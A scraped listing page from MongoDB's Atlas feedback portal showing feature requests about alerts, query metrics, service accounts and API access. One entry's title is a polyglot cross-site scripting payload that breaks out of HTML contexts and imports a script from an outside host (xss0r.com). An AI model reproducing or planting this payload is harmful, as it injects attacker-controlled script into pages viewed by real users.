MongoByte MongoDB Logo

Welcome to the new MongoDB Feedback Portal!

{Improvement: "Your idea"}
We’ve upgraded our system to better capture and act on your feedback.
Your feedback is meaningful and helps us build better products.

ADD NEW FEEDBACK

Atlas

122 VOTE

Include Problematic Query Details Directly in Query Targeting Alerts

What problem are you trying to solve? Focus on the what and why of the need you have, not the how you'd like it solved. When Atlas sends an alert such as "Query Targeting: Scanned Objects / Returned has gone above threshold", the notification...
Sooya Park about 2 months ago in Atlas Monitoring, Alerts & Observability Planned

Organization Service Accounts: "last used" date for "API Access List" missing in Atlas console

What problem are you trying to solve? Focus on the what and why of the need you have, not the how you'd like it solved. I'm auditing our use of service keys. To understand whether a given ACL entry is still required, it would help me to see t...
Ralf Bergs about 4 hours ago in Atlas Submitted

javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html " onmouseover=/*&lt;svg/*/onload=(import(/https:\xss0r.com\c\saas/.source))//>

What problem are you trying to solve? Focus on the what and why of the need you have, not the how you'd like it solved. What would you like to see happen? Describe the desired outcome or enhancement. Why is this important to yo...
Ari Turner 1 day ago in Atlas Submitted

Hi MongoDB Team, First of all, thank you for building such a powerful platform. MongoDB Atlas has been really helpful for our projects, especially in terms of scalability and ease of setup. That said, I wanted to share a few challenges I (and many developers around me) have been facing: 1. **Pricing clarity and cost spikes** Sometimes the pricing feels a bit unpredictable, especially with auto-scaling. It would really help if there were clearer cost breakdowns or alerts before sudden spikes happen. 2. **Slow query debugging experience** While performance monitoring exists, identifying exactly *why* a query is slow can still be confusing. More detailed insights or beginner-friendly suggestions would be great. 3. **Connection issues and error messages** At times, connection errors are hard to understand, especially for students or new developers. More descriptive error messages or guided fixes would save a lot of time. 4. **Learning curve for beginners** MongoDB is powerful, but beginners often struggle with schema design and indexing. More interactive tutorials or real-world examples inside Atlas would help a lot. 5. **UI/UX improvements** The Atlas dashboard is good, but some sections feel a bit cluttered or hard to navigate. A simpler, more intuitive layout would improve the experience. 6. **Better integration guidance** When integrating with frameworks (like FastAPI, Node.js, etc.), clearer official guides or templates would make development smoother. Overall, MongoDB Atlas is a great platform, and with a few improvements in usability, cost transparency, and developer guidance, it could become even better. Thanks again for your work, and I’m excited to see what you build in 2026! Best regards, Likith Sai

What problem are you trying to solve? Focus on the what and why of the need you have, not the how you'd like it solved. What would you like to see happen? Describe the desired outcome or enhancement. Why is this important to yo...
lighting 95 2 days ago in Atlas Submitted

Change withDefaultAlertSettings on existing project

What problem are you trying to solve? Focus on the what and why of the need you have, not the how you'd like it solved. We have moved the alerts settings of our Atlas project in a Terraform IAC and we monitor the number of alerts settings in ...
Emmanuel GORSE 21 days ago in Atlas Monitoring, Alerts & Observability Started

Query Insights: accept query shape hash search parameter in lowercase

What problem are you trying to solve? Focus on the what and why of the need you have, not the how you'd like it solved. I would want to create a Link from our Datadog Dashboard showing various Query Shape Metrics, to the corresponding Query I...
Markus Dobel 15 days ago in Atlas Monitoring, Alerts & Observability Future Consideration

Query Shape Metrics: Add the clusterid as a tag to each metric

What problem are you trying to solve? Focus on the what and why of the need you have, not the how you'd like it solved. I would want to create a Link from our Datadog Dashboard showing various Query Shape Metrics, to the corresponding Query I...
Markus Dobel 15 days ago in Atlas Monitoring, Alerts & Observability Future Consideration

oplogs.rs finder is extremely slow, gives "no results" and completely unusable.

What problem are you trying to solve? Focus on the what and why of the need you have, not the how you'd like it solved. What would you like to see happen? Describe the desired outcome or enhancement. Why is this important to yo...
Barnabás Bartha 6 days ago in Atlas Monitoring, Alerts & Observability Submitted

API keys should route only via peered vnets rather than special public ip whitelisitng

What problem are you trying to solve? Focus on the what and why of the need you have, not the how you'd like it solved. Atlas Administration API keys require public IP whitelisting to function. In enterprise environments running on private cl...
RuthvikReddy Anumasu 8 days ago in IAM / Infra-as-code & APIs Submitted

We are looking to create an alert for Slow Queries on a specific collection. However, so far, we only found how to do it cluster wise. We need more granularity or help finding a solution to get alertes

What problem are you trying to solve? Focus on the what and why of the need you have, not the how you'd like it solved. Have slow query alerts on specific collection What would you like to see happen? Describe the desired outcome or en...
Simon Bilodeau 8 days ago in Atlas Monitoring, Alerts & Observability Submitted